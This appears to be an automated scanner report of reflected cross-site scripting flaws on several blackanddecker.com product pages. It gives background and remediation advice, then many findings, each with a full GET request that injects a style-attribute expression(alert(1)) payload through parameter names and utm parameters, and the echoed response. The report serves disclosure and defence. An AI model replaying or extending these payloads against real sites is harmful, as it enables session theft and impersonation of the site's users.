Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.blackanddecker.com/outdoor/LHT2436.aspx [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blackanddecker.com
Path:
/outdoor/LHT2436.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6344"style%3d"x%3aexpression(alert(1))"a2f5c9e647 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d6344"style="x:expression(alert(1))"a2f5c9e647 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LHT2436.aspx?d6344"style%3d"x%3aexpression(alert(1))"a2f5c9e647=1 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_campaign request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9a6c"style%3d"x%3aexpression(alert(1))"2e3a7d1e413 was submitted in the utm_campaign parameter. This input was echoed as a9a6c"style="x:expression(alert(1))"2e3a7d1e413 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LHT2436.aspx?utm_source=MSN_BingShopping_RichMedia-HedgeTrimmer_300x250&utm_medium=Display&utm_campaign=Outdoor2012a9a6c"style%3d"x%3aexpression(alert(1))"2e3a7d1e413 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_medium request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9903"style%3d"x%3aexpression(alert(1))"eda64a9962f was submitted in the utm_medium parameter. This input was echoed as b9903"style="x:expression(alert(1))"eda64a9962f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LHT2436.aspx?utm_source=MSN_BingShopping_RichMedia-HedgeTrimmer_300x250&utm_medium=Displayb9903"style%3d"x%3aexpression(alert(1))"eda64a9962f&utm_campaign=Outdoor2012 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a08c9"style%3d"x%3aexpression(alert(1))"043a108109f was submitted in the utm_source parameter. This input was echoed as a08c9"style="x:expression(alert(1))"043a108109f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LHT2436.aspx?utm_source=MSN_BingShopping_RichMedia-HedgeTrimmer_300x250a08c9"style%3d"x%3aexpression(alert(1))"043a108109f&utm_medium=Display&utm_campaign=Outdoor2012 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://www.dewalt.co ...[SNIP]... <a href="/Register.aspx?referrer=http://www.blackanddecker.com/pages/products_accessories/ProductDetail.aspx?id=LHT2436&utm_source=MSN_BingShopping_RichMedia-HedgeTrimmer_300x250a08c9"style="x:expression(alert(1))"043a108109f&utm_medium=Display&utm_campaign=Outdoor2012"> ...[SNIP]...
1.5. http://www.blackanddecker.com/outdoor/LST136.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blackanddecker.com
Path:
/outdoor/LST136.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8a2e"style%3d"x%3aexpression(alert(1))"2983dee5b4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e8a2e"style="x:expression(alert(1))"2983dee5b4e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LST136.aspx?e8a2e"style%3d"x%3aexpression(alert(1))"2983dee5b4e=1 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_campaign request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbc19"style%3d"x%3aexpression(alert(1))"e629a751a7b was submitted in the utm_campaign parameter. This input was echoed as bbc19"style="x:expression(alert(1))"e629a751a7b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LST136.aspx?utm_source=MSN_BingShopping_RichMedia-StringTrimmer_300x250&utm_medium=Display&utm_campaign=Outdoor2012bbc19"style%3d"x%3aexpression(alert(1))"e629a751a7b HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_medium request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2996"style%3d"x%3aexpression(alert(1))"f64f994b78c was submitted in the utm_medium parameter. This input was echoed as b2996"style="x:expression(alert(1))"f64f994b78c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LST136.aspx?utm_source=MSN_BingShopping_RichMedia-StringTrimmer_300x250&utm_medium=Displayb2996"style%3d"x%3aexpression(alert(1))"f64f994b78c&utm_campaign=Outdoor2012 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d965"style%3d"x%3aexpression(alert(1))"3d6d2263dbd was submitted in the utm_source parameter. This input was echoed as 3d965"style="x:expression(alert(1))"3d6d2263dbd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LST136.aspx?utm_source=MSN_BingShopping_RichMedia-StringTrimmer_300x2503d965"style%3d"x%3aexpression(alert(1))"3d6d2263dbd&utm_medium=Display&utm_campaign=Outdoor2012 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas="http://www.dewalt.co ...[SNIP]... <a href="/Register.aspx?referrer=http://www.blackanddecker.com/pages/products_accessories/ProductDetail.aspx?id=LST136&utm_source=MSN_BingShopping_RichMedia-StringTrimmer_300x2503d965"style="x:expression(alert(1))"3d6d2263dbd&utm_medium=Display&utm_campaign=Outdoor2012"> ...[SNIP]...
1.9. http://www.blackanddecker.com/outdoor/LSWV36.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.blackanddecker.com
Path:
/outdoor/LSWV36.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcf6a"style%3d"x%3aexpression(alert(1))"b4bf30463f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dcf6a"style="x:expression(alert(1))"b4bf30463f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LSWV36.aspx?dcf6a"style%3d"x%3aexpression(alert(1))"b4bf30463f1=1 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_campaign request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a6ad"style%3d"x%3aexpression(alert(1))"047248a2251 was submitted in the utm_campaign parameter. This input was echoed as 6a6ad"style="x:expression(alert(1))"047248a2251 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LSWV36.aspx?utm_source=MSN_BingShopping_RichMedia-SweeperVac_300x250&utm_medium=Display&utm_campaign=Outdoor20126a6ad"style%3d"x%3aexpression(alert(1))"047248a2251 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_medium request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99d28"style%3d"x%3aexpression(alert(1))"02bd8e5f80d was submitted in the utm_medium parameter. This input was echoed as 99d28"style="x:expression(alert(1))"02bd8e5f80d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LSWV36.aspx?utm_source=MSN_BingShopping_RichMedia-SweeperVac_300x250&utm_medium=Display99d28"style%3d"x%3aexpression(alert(1))"02bd8e5f80d&utm_campaign=Outdoor2012 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the utm_source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91872"style%3d"x%3aexpression(alert(1))"b739825493 was submitted in the utm_source parameter. This input was echoed as 91872"style="x:expression(alert(1))"b739825493 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /outdoor/LSWV36.aspx?utm_source=MSN_BingShopping_RichMedia-SweeperVac_300x25091872"style%3d"x%3aexpression(alert(1))"b739825493&utm_medium=Display&utm_campaign=Outdoor2012 HTTP/1.1 Host: www.blackanddecker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close